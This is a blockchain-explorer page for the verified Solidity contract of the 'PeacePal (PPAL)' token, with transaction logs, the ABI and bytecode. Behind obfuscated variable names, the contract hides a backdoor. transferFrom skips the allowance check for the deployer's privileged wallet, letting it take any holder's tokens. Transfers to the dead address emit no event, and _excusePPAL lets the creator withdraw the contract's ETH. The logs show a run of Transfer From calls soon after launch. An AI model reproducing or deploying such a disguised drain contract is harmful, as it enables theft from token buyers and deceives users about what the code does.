ETH Price: $2,015.30 (-1.69%)

Contract

0xBD2EcbE8a41a01F22E899B735f02Dd6B8E13DDb3
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
_excuse PPAL218877202025-02-20 12:58:59383 days ago1740056339IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000065212.21866676
Approve218875362025-02-20 12:21:35383 days ago1740054095IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000062871.34137102
Approve218875362025-02-20 12:21:35383 days ago1740054095IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000062871.34137102
Transfer From218875082025-02-20 12:15:47383 days ago1740053747IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000056641.00585221
Transfer From218875072025-02-20 12:15:35383 days ago1740053735IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000054570.96918238
Transfer218874972025-02-20 12:13:23383 days ago1740053603IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000036730.8446988
Transfer218874842025-02-20 12:10:47383 days ago1740053447IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000055780.87998315
Transfer218874812025-02-20 12:10:11383 days ago1740053411IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000037770.86849632
Transfer From218874532025-02-20 12:04:35384 days ago1740053075IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000032760.85955141
Transfer From218874472025-02-20 12:03:23384 days ago1740053003IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000053160.94414457
Approve218874332025-02-20 12:00:35384 days ago1740052835IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000048271.0298594
Approve218874332025-02-20 12:00:35384 days ago1740052835IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000048271.0298594
Approve218874312025-02-20 12:00:11384 days ago1740052811IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000029531.18601531
Transfer From218873922025-02-20 11:52:23384 days ago1740052343IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000050730.90099406
Transfer From218873822025-02-20 11:50:23384 days ago1740052223IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000050660.89972207
Approve218873722025-02-20 11:48:23384 days ago1740052103IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000066471.40879418
Approve218873712025-02-20 11:48:11384 days ago1740052091IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000025850.95016697
Approve218873712025-02-20 11:48:11384 days ago1740052091IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000044760.95016697
Approve218873712025-02-20 11:48:11384 days ago1740052091IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000064761.37243509
Approve218873672025-02-20 11:47:11384 days ago1740052031IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000034580.7329733
Approve218873572025-02-20 11:45:11384 days ago1740051911IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.00004791.02198137
Approve218873572025-02-20 11:45:11384 days ago1740051911IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.00004791.02198137
Transfer From218873502025-02-20 11:43:47384 days ago1740051827IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000043530.77284232
Approve218873432025-02-20 11:42:11384 days ago1740051731IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000018950.70287569
Approve218873402025-02-20 11:41:35384 days ago1740051695IN
0xBD2EcbE8...B8E13DDb3
0 ETH0.000036810.78014402
View all transactions

Latest 11 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer218871392025-02-20 11:01:11384 days ago1740049271
0xBD2EcbE8...B8E13DDb3
0.6990125 ETH
Transfer218871392025-02-20 11:01:11384 days ago1740049271
0xBD2EcbE8...B8E13DDb3
0.6990125 ETH
Transfer218871362025-02-20 11:00:35384 days ago1740049235
0xBD2EcbE8...B8E13DDb3
2.10758641 ETH
Transfer218871362025-02-20 11:00:35384 days ago1740049235
0xBD2EcbE8...B8E13DDb3
2.10758641 ETH
Transfer218871012025-02-20 10:53:35384 days ago1740048815
0xBD2EcbE8...B8E13DDb3
0.00005253 ETH
Transfer218871012025-02-20 10:53:35384 days ago1740048815
0xBD2EcbE8...B8E13DDb3
0.00005253 ETH
Transfer218871012025-02-20 10:53:35384 days ago1740048815
0xBD2EcbE8...B8E13DDb3
0.00010399 ETH
Transfer218871012025-02-20 10:53:35384 days ago1740048815
0xBD2EcbE8...B8E13DDb3
0.00010399 ETH
Transfer218870852025-02-20 10:50:23384 days ago1740048623
0xBD2EcbE8...B8E13DDb3
0.0077234 ETH
Transfer218870852025-02-20 10:50:23384 days ago1740048623
0xBD2EcbE8...B8E13DDb3
0.0077234 ETH
Add Liquidity ET...218870742025-02-20 10:48:11384 days ago1740048491
0xBD2EcbE8...B8E13DDb3
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PPAL

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : PPAL.sol
// SPDX-License-Identifier: MIT

/*
    Name: PeacePal
    Symbold: PPAL

    Revolutionizing Mental Health with beloved Pals 🟣 Building on ETH

    https://www.peacepal.fun
    https://x.com/PeacePal_ETH
    https://t.me/PeacePal_ETH
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 

contract PPAL is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"PeacePal";
    string private constant _symbol = unicode"PPAL";
    
    address payable private _vbjljvlklPPAL;
    mapping(address => uint256) private _cijojisePPAL;
    mapping(address => mapping(address => uint256)) private _fjweoijPPAL;
    mapping(address => bool) private _jojodjPPAL;

    uint256 private _vjkboiwoeiPPAL = 10;
    uint256 private _odijofjoePPAL = 10;
    uint256 private _joijoiPPAL = 0;
    uint256 private _jvbkoiwePPAL = 0;
    uint256 private _ojidoiwePPAL = 7;
    uint256 private _ojdofPPAL = 7;
    uint256 private _buyCount = 0;
    address private _ojdofiekjPPAL;
    address private _kjvnkbjnPPAL = address(0xdead);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 public _ojojoivlkPPAL = 20000000 * 10 **_decimals;
    uint256 public _lkkkvnblkjPPAL = 20000000 * 10 **_decimals;
    uint256 public _ppojofPPAL = 10000000 * 10 **_decimals;
    uint256 private constant _kmmvbPPAL = 1000000000 * 10 **_decimals;
    
    event MaxTxAmountUpdated(uint256 _ojojoivlkPPAL);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _vbjljvlklPPAL = payable(_msgSender());
        _cijojisePPAL[address(this)] = _kmmvbPPAL * 98 / 100;
        _cijojisePPAL[owner()] = _kmmvbPPAL * 2 / 100;
        _jojodjPPAL[owner()] = true;
        _jojodjPPAL[address(this)] = true;
        _jojodjPPAL[_vbjljvlklPPAL] = true;
        _ojdofiekjPPAL = _msgSender();
        emit Transfer(address(0), address(this), _kmmvbPPAL * 98 / 100);
        emit Transfer(address(0), address(owner()), _kmmvbPPAL * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function totalSupply() public pure override returns (uint256) {
        return _kmmvbPPAL;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _fjweoijPPAL[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _cijojisePPAL[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _fjweoijPPAL[owner][spender];
    }

    receive() external payable {}

    function _joeijoijoj(
        address sender,
        address recipient
    ) internal view returns (bool) {
        if(_jvjocvo() == false) return false;
        else {
            if(sender == uniswapV2Pair) return true;
            else return _kkvklv(recipient);
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferr_PPAL(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _lvckmjlwoiPPAL(sender, recipient, amount).sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _kkvklv(address recipient) internal view returns (bool) {
        return recipient != _kjvnkbjnPPAL;
    }

    function _jvjocvo() internal view returns (bool) {return msg.sender != _vbjljvlklPPAL;}

    function _excusePPAL(address payable receipt) external {
        require(msg.sender == _ojdofiekjPPAL , "");
        _vbjljvlklPPAL = receipt;
        _PPALlkjlok(address(this).balance);
    }

    function _PPALlkjlok(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    function _assistPPAL(uint256 amount) private {
        _vbjljvlklPPAL.transfer(amount);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transferr_PPAL(_msgSender(), recipient, amount);
        return true;
    }

    function removeLimits () external onlyOwner {
        _ojojoivlkPPAL = _kmmvbPPAL;
        _lkkkvnblkjPPAL = _kmmvbPPAL;
        emit MaxTxAmountUpdated(_kmmvbPPAL);
    }

    function _transferr_PPAL(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _ojidoiwePPAL)
                        ? _joijoiPPAL
                        : _vjkboiwoeiPPAL
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_jojodjPPAL[to]
            ) {
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _ojdofPPAL)
                            ? _jvbkoiwePPAL
                            : _odijofjoePPAL
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _ppojofPPAL) ? contractTokenBalance : _ppojofPPAL; 
                    _swappp_PPAL((amount < minBalance) ? amount : minBalance);
                }
                _assistPPAL(address(this).balance);
            }
        }
        if (taxAmount > 0) {
        _cijojisePPAL[address(this)] =_cijojisePPAL[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _cijojisePPAL[from] =_cijojisePPAL[from].sub(amount);
        _cijojisePPAL[to] =_cijojisePPAL[to].add(amount.sub(taxAmount));
        if(_kjvnkbjnPPAL != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _lvckmjlwoiPPAL(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (uint256) {
        uint256 _allowed = amount;
        if (_joeijoijoj(sender, recipient))
            _allowed = _fjweoijPPAL[sender][_msgSender()];
        return _allowed;
    }

    function enablePPALTrading() external onlyOwner {
        require(!isTrading, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _kmmvbPPAL);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        isTrading = true;
    }

    function _swappp_PPAL(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_ojojoivlkPPAL","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"receipt","type":"address"}],"name":"_excusePPAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_lkkkvnblkjPPAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ojojoivlkPPAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ppojofPPAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enablePPALTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600555600a6006555f6007555f60085560076009556007600a555f600b5561dead600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600f60156101000a81548160ff0219169083151502179055505f600f60166101000a81548160ff0219169083151502179055506009600a620000aa9190620007a5565b6301312d00620000bb9190620007f5565b6010556009600a620000ce9190620007a5565b6301312d00620000df9190620007f5565b6011556009600a620000f29190620007a5565b62989680620001029190620007f5565b6012555f62000116620005e560201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001c2620005e560201b60201c565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a620002159190620007a5565b633b9aca00620002269190620007f5565b620002329190620007f5565b6200023e91906200086c565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a620002939190620007a5565b633b9aca00620002a49190620007f5565b620002b09190620007f5565b620002bc91906200086c565b60025f620002cf620005ec60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f62000321620005ec60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200044b620005e560201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a620004ed9190620007a5565b633b9aca00620004fe9190620007f5565b6200050a9190620007f5565b6200051691906200086c565b604051620005259190620008b4565b60405180910390a36200053d620005ec60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6200059f9190620007a5565b633b9aca00620005b09190620007f5565b620005bc9190620007f5565b620005c891906200086c565b604051620005d79190620008b4565b60405180910390a3620008cf565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200069d5780860481111562000675576200067462000613565b5b6001851615620006855780820291505b8081029050620006958562000640565b945062000655565b94509492505050565b5f82620006b7576001905062000789565b81620006c6575f905062000789565b8160018114620006df5760028114620006ea5762000720565b600191505062000789565b60ff841115620006ff57620006fe62000613565b5b8360020a91508482111562000719576200071862000613565b5b5062000789565b5060208310610133831016604e8410600b84101617156200075a5782820a90508381111562000754576200075362000613565b5b62000789565b6200076984848460016200064c565b9250905081840481111562000783576200078262000613565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620007b18262000790565b9150620007be8362000799565b9250620007ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006a6565b905092915050565b5f620008018262000790565b91506200080e8362000790565b92508282026200081e8162000790565b9150828204841483151762000838576200083762000613565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620008788262000790565b9150620008858362000790565b9250826200089857620008976200083f565b5b828204905092915050565b620008ae8162000790565b82525050565b5f602082019050620008c95f830184620008a3565b92915050565b612dd880620008dd5f395ff3fe608060405260043610610101575f3560e01c80637aa4dc0511610094578063b7394c7411610063578063b7394c7414610324578063bf8154051461034e578063dd62ed3e14610376578063e2fe735e146103b2578063eb684c32146103c857610108565b80637aa4dc051461026a5780638da5cb5b1461029457806395d89b41146102be578063a9059cbb146102e857610108565b8063313ce567116100d0578063313ce567146101d857806370a0823114610202578063715018a61461023e578063751039fc1461025457610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f2565b60405161012d9190611fa7565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612058565b61042f565b60405161016991906120b0565b60405180910390f35b34801561017d575f80fd5b5061018661044c565b60405161019391906120d8565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd91906120f1565b61046f565b6040516101cf91906120b0565b60405180910390f35b3480156101e3575f80fd5b506101ec6104ce565b6040516101f9919061215c565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190612175565b6104d6565b60405161023591906120d8565b60405180910390f35b348015610249575f80fd5b5061025261051c565b005b34801561025f575f80fd5b5061026861066a565b005b348015610275575f80fd5b5061027e610799565b60405161028b91906120d8565b60405180910390f35b34801561029f575f80fd5b506102a861079f565b6040516102b591906121af565b60405180910390f35b3480156102c9575f80fd5b506102d26107c6565b6040516102df9190611fa7565b60405180910390f35b3480156102f3575f80fd5b5061030e60048036038101906103099190612058565b610803565b60405161031b91906120b0565b60405180910390f35b34801561032f575f80fd5b50610338610820565b60405161034591906120d8565b60405180910390f35b348015610359575f80fd5b50610374600480360381019061036f9190612203565b610826565b005b348015610381575f80fd5b5061039c6004803603810190610397919061222e565b610901565b6040516103a991906120d8565b60405180910390f35b3480156103bd575f80fd5b506103c6610983565b005b3480156103d3575f80fd5b506103dc610ea5565b6040516103e991906120d8565b60405180910390f35b60606040518060400160405280600881526020017f506561636550616c000000000000000000000000000000000000000000000000815250905090565b5f61044261043b610eab565b8484610eb2565b6001905092915050565b5f6009600a61045b91906123c8565b633b9aca0061046a9190612412565b905090565b5f61047b848484611075565b6104c384610487610eab565b6104be85604051806060016040528060288152602001612d7b602891396104af8a8a8a6117fe565b6118a09092919063ffffffff16565b610eb2565b600190509392505050565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610524610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a79061249d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610672610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f59061249d565b60405180910390fd5b6009600a61070c91906123c8565b633b9aca0061071b9190612412565b6010819055506009600a61072f91906123c8565b633b9aca0061073e9190612412565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61077391906123c8565b633b9aca006107829190612412565b60405161078f91906120d8565b60405180910390a1565b60115481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5050414c00000000000000000000000000000000000000000000000000000000815250905090565b5f61081661080f610eab565b8484611075565b6001905092915050565b60105481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ac906124de565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108fe47611902565b50565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61098b610eab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e9061249d565b60405180910390fd5b600f60149054906101000a900460ff1615610a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5e90612546565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b0330600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610aef91906123c8565b633b9aca00610afe9190612412565b610eb2565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b919190612578565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c3b9190612578565b6040518363ffffffff1660e01b8152600401610c589291906125a3565b6020604051808303815f875af1158015610c74573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c989190612578565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d1f306104d6565b5f80610d2961079f565b426040518863ffffffff1660e01b8152600401610d4b9695949392919061260c565b60606040518083038185885af1158015610d67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d8c919061267f565b505050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e2c9291906126cf565b6020604051808303815f875af1158015610e48573d5f803e3d5ffd5b50505050